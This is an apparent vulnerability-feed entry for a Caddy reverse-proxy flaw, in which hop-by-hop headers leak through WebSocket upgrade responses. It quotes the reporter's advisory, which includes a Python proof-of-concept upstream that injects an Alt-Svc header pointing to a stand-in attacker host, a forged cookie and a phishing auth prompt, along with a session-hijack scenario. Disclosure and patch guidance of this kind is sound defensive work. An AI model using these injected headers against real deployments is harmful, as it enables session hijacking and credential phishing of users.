---
id: "CVE-2026-55458"
kind: "vulnerability"
aliases: ["CVE-2026-55458", "GHSA-8qx7-j2v2-x6q5"]
title: "Caddy has an RFC 7230 \u00a76.1 compliance issue / Hop-by-hop headers that leak through"
severity: "low"
cvss: null
epss: null
exploited: false
status: "open"
category: "runtime"
products: [{"name": "github.com/caddyserver/caddy/v2", "fixed": ["2.11.5"], "affected": "<= 2.11.4", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["caddy", "cwe-444", "go", "reverse-proxy", "runtime", "self-hosted", "websocket"]
not_affected_if: ["caddy-2.11.5-or-later", "no-websocket-proxying"]
published_at: "2026-10-28T19:49:33+00:00"
first_seen_at: "2026-10-28T19:51:20+00:00"
updated_at: "2026-10-28T19:52:20+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-8qx7-j2v2-x6q5", "first_seen_at": "2026-10-28T19:51:20+00:00"}]
---

# Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through

When Caddy proxies a WebSocket upgrade (HTTP 101), it forwards upstream headers such as Alt-Svc, Keep-Alive, Proxy-Authenticate and Set-Cookie to the client without stripping hop-by-hop headers. A compromised or misbehaving upstream can therefore set cookies or other headers in the client's browser.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/caddyserver/caddy/v2 affected <= 2.11.4 fixed 2.11.5

## How to check

- Run `caddy version` and confirm it is at or below `2.11.4`.
- Check whether the Caddyfile uses `reverse_proxy` for WebSocket routes.
- Compare upstream 101 responses with `curl -v` through Caddy and look for Alt-Svc, Keep-Alive or Set-Cookie headers.

## Fix

- Upgrade Caddy to `2.11.5` or later.

## Timeline

- 2026-10-28T19:51:20+00:00 ghsa https://github.com/advisories/GHSA-8qx7-j2v2-x6q5

## From the sources

### AI Disclosure
This vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl. 7230. I also used it to help write the PoC, since it was honestly much faster than writing it by hand. I also let it write parts of this advisory text for brevity's sake, but had to rewrite half of it by hand.  

### Summary
Caddy's reverse proxy fails to strip RFC 7230 hop-by-hop headers from upstream responses when handling WebSocket upgrades (HTTP 101 Switching Protocols). Headers including `Alt-Svc`, `Keep-Alive`, `Proxy-Authenticate`, `Transfer-Encoding`, or `Trailer`, which Caddy actually correctly strips for normal HTTP responses, pass through unfiltered to the client during protocol upgrades. An upstream that sets these headers (intentionally or otherwise) can inject them into client responses, enabling connection hijacking via `Alt-Svc`, cookie injection via `Set-Cookie`, and proxy authentication phishing.

The normal response path in `finalizeResponse` correctly strips all hop-by-hop headers before forwarding, but the 101 code path returns early, skipping the stripping entirely.

### Details

In `modules/caddyhttp/reverseproxy/reverseproxy.go`, the `finalizeResponse` method (line 1178) handles upstream responses. For all normal responses, it strips hop-by-hop headers before copying to the client:

```go
// reverseproxy.go:1194-1198
removeConnectionHeaders(res.Header)
for _, h := range hopHeaders {
    res.Header.Del(h)
}
```

However, the 101 Switching Protocols check at line 1187 returns before this stripping code:

```go
// reverseproxy.go:1186-1192
if res.StatusCode == http.StatusSwitchingProtocols {
    var wg sync.WaitGroup
    h.handleUpgradeResponse(logger, &wg, rw, req, res)
    wg.Wait()
    return nil  // <-- returns BEFORE removeConnectionHeaders and hopHeaders loop
}
```

Inside `handleUpgradeResponse` (`streaming.go:60-91`), all upstream response headers are copied to the client without any hop-by-hop filtering:

```go
// streaming.go:88-91
copyHeader(rw.Header(), res.Header)        // copies ALL upstream headers
normalizeWebsocketHeaders(rw.Header())     // only remaps Sec-WebSocket-* keys
```

The `normalizeWebsocketHeaders` function (line 714) only handles WebSocket-specific header key mapping (`Sec-Websocket-*` to `Sec-WebSocket-*`). It does not strip hop-by-hop headers.

#### Hop-by-Hop Headers That Leak Through

Defined at `reverseproxy.go:1681-1692`:

```
Alt-Svc, Connection, Proxy-Connection, Keep-Alive, Proxy-Authenticate,
Proxy-Authorization, Te, Trailer, Transfer-Encoding, Upgrade
```

All 10 are stripped from normal responses. **None** are stripped from WebSocket upgrade responses.

For HTTP/2 and HTTP/3 WebSocket connections (extended CONNECT with `:protocol: websocket`), Caddy converts the upstream's 101 into a `200 OK` for the client (`streaming.go:99-104`). The leaked headers arrive in a standard HTTP 200 response that browsers fully process, making `Alt-Svc` hijacking and `Set-Cookie` injection practically exploitable.

Normal (200): `removeConnectionHeaders()` runs, `hopHeaders` loop runs ->  headers stripped
Upgrade (101): `handleUpgradeResponse()` runs, returns early -> headers are NOT stripped

This is the only response code path in the reverse proxy that bypasses hop-by-hop header stripping.

### PoC

Caddy config:
```
:8080 {
    reverse_proxy localhost:8083
}
```

Script:
```python
import socket

UPSTREAM = (
    b"HTTP/1.1 101 Switching Protocols\r\n"
    b"Upgrade: websocket\r\n"
    b"Connection: Upgrade\r\n"
    b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n"
    b"Alt-Svc: h2=\"attacker.example.com:443\"; ma=86400\r\n"
    b"Keep-Alive: timeout=999\r\n"
    b"Proxy-Authenticate: Basic realm=\"phish\"\r\n"
    b"Set-Cookie: injected=malicious; Path=/\r\n"
    b"\r\n"
)

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 8083))
s.listen(1)
conn, _ = s.accept()
conn.send(UPSTREAM)
```

Curl:
```bash
curl -v \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  http://localhost:8080/ws 2>&1
```

Output: 
```
< HTTP/1.1 101 Switching Protocols
< Alt-Svc: h2="attacker.example.com:443"; ma=86400
< Connection: Upgrade
< Keep-Alive: timeout=999
< Proxy-Authenticate: Basic realm="phish"
< Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
< Server: Caddy
< Set-Cookie: injected=malicious; Path=/
< Upgrade: websocket
```

`Alt-Svc`, `Keep-Alive`, and `Proxy-Authenticate` are hop-by-hop headers that MUST NOT be retransmitted by proxies per RFC 7230 §6.1. They all appear in the response.

Same upstream, same headers but on a 200 response. 
Caddy strips `Alt-Svc` correctly:

```bash
curl -v http://localhost:8080/
# Alt-Svc is absent 
```

### Impact
This is a hop-by-hop header leakage vuln (I think CWE-444 fits closest?). The proxy fails to enforce the RFC 7230 §6.1 requirement that hop-by-hop headers must not be forwarded across proxy boundaries.

Any Caddy deployment that proxies WebSocket connections, especially those using HTTP/2 or HTTP/3 (where the 101-to-200 conversion makes headers fully processable by browsers) has this issue. 

How an attack might look:
A company serves app.example.com behind Caddy, with HTTP/2 enabled. The app uses WebSockets for real-time notifications (i.e. every page load opens one). The upstream app gets compromised (unpatched CMS plugin, leaked CI credential, dependency confusion). The attacker adds one line to the WebSocket handler: Set-Cookie: session=hijack; Path=/. 

Now every visitor to app.example.com gets the attacker's session cookie written into their browser. The app uses the session cookie as the sole authentication token. When a user reloads the page or navigates to another part of the app, their browser sends session=hijack along with the request. The attacker submits the same value from their own browser. They get logged in as that user.

Caddy strips this header on normal HTTP responses. It strips hop-by-hop headers on the request side, basically everywhere except this path. 

### Suggested Fix
I'll add my fix to the branch in this security advisory.

### Contact Details
If you find this find worth your time you can contact me under d.ramadani@ieee.org or +43 (677) 63 397 910. In case this is something that will go public I'd be happy to be mentioned under my real name, Dionis Ramadani. 

Thank you for taking the time, I hope this is something interesting for you.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_